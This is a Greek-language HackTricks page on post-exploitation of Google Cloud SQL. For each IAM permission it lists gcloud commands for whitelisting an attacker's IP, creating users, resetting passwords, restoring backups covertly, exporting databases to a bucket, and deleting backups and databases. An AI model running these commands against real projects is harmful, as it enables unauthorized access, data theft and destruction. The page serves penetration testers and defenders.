GCP - Cloud SQL Post Exploitation

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Cloud SQL

Για περισσότερες πληροφορίες σχετικά με το Cloud SQL, ελέγξτε:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, (cloudsql.instances.get)

Για να συνδεθείτε στις βάσεις δεδομένων, χρειάζεστε απλώς πρόσβαση στη θύρα της βάσης δεδομένων και να γνωρίζετε το όνομα χρήστη και τον κωδικό πρόσβασης, δεν υπάρχουν απαιτήσεις IAM. Έτσι, ένας εύκολος τρόπος να αποκτήσετε πρόσβαση, υποθέτοντας ότι η βάση δεδομένων έχει δημόσια διεύθυνση IP, είναι να ενημερώσετε τις επιτρεπόμενες δικτυακές διευθύνσεις και να επιτρέψετε τη διεύθυνση IP του δικού σας υπολογιστή να έχει πρόσβαση.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Είναι επίσης δυνατόν να χρησιμοποιηθεί το --no-backup για να διακόψει τα αντίγραφα ασφαλείας της βάσης δεδομένων.

Όσον αφορά τις απαιτήσεις, δεν είμαι εντελώς σίγουρος για ποιο είναι το δικαίωμα cloudsql.instances.connect και cloudsql.instances.login. Εάν το γνωρίζετε, στείλτε ένα αίτημα ενσωμάτωσης (PR)!

cloudsql.users.list

Λάβετε μια λίστα με όλους τους χρήστες της βάσης δεδομένων:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Αυτή η άδεια επιτρέπει τη δημιουργία ενός νέου χρήστη μέσα στη βάση δεδομένων:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Αυτή η άδεια επιτρέπει την ενημέρωση του χρήστη μέσα στη βάση δεδομένων. Για παράδειγμα, μπορείτε να αλλάξετε τον κωδικό πρόσβασής του:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Οι αντίγραφα ασφαλείας μπορεί να περιέχουν παλιές ευαίσθητες πληροφορίες, επομένως είναι ενδιαφέρον να τα ελέγξετε. Επαναφέρετε ένα αντίγραφο ασφαλείας μέσα σε μια βάση δεδομένων:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Για να το κάνετε με πιο αόρατο τρόπο, συνιστάται να δημιουργήσετε μια νέα περίπτωση SQL και να ανακτήσετε τα δεδομένα εκεί αντί να τα ανακτήσετε στις τρέχουσες βάσεις δεδομένων.

cloudsql.backupRuns.delete

Αυτή η άδεια επιτρέπει τη διαγραφή αντιγράφων ασφαλείας:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Εξαγωγή μιας βάσης δεδομένων σε ένα Cloud Storage Bucket ώστε να μπορείτε να την προσπελάσετε από εκεί:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Εισαγωγή μιας βάσης δεδομένων (αντικατάσταση) από ένα Cloud Storage Bucket:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Διαγράψτε μια βάση δεδομένων από το παράδειγμα βάσης δεδομένων:

gcloud sql databases delete <db-name> --instance <instance-id>
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated